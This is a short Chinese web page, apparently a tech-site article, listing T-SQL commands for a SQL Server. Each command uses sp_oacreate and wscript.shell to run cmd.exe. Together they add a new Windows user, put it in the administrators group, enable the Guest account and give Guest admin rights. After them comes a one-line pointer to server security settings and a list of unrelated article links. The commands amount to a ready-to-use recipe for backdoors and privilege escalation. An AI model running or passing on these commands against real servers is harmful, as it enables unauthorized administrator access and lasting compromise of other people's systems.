1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考服务器安全设置栏目。

更多相关文章

  1. SQL Server之JSON 函数详解
  2. MySQL 5.7.9 服务无法启动-“NET HELPMSG 3534”的解决方法
  3. MySQL系列多表连接查询92及99语法示例详解教程
  4. Linux下MYSQL 5.7 找回root密码的问题(亲测可用)
  5. MySQL 什么时候使用INNER JOIN 或 LEFT JOIN
  6. Android(安卓)-- Android(安卓)JUint 与 Sqlite
  7. android中SqLite query中用selectionArgs处理字符传值
  8. android从服务器下载文件(php+apache+win7+MySql)
  9. Android(安卓)ORM SQL Top 5

随机推荐

  1. Android重温
  2. 腾讯Android面经
  3. Android中对同一个TextView设置不同字体
  4. 用 Golang 开发 Android 应用(六)—— Came
  5. 【10.0.1】ArcGIS Runtime for Android之
  6. android用户界面之Widget教程实例汇总
  7. android 局域网聊天工具(可发送文字/语音
  8. Android 内核简单分析
  9. 在mac 上配置AndroidStudio碰到的坑
  10. android HAL介绍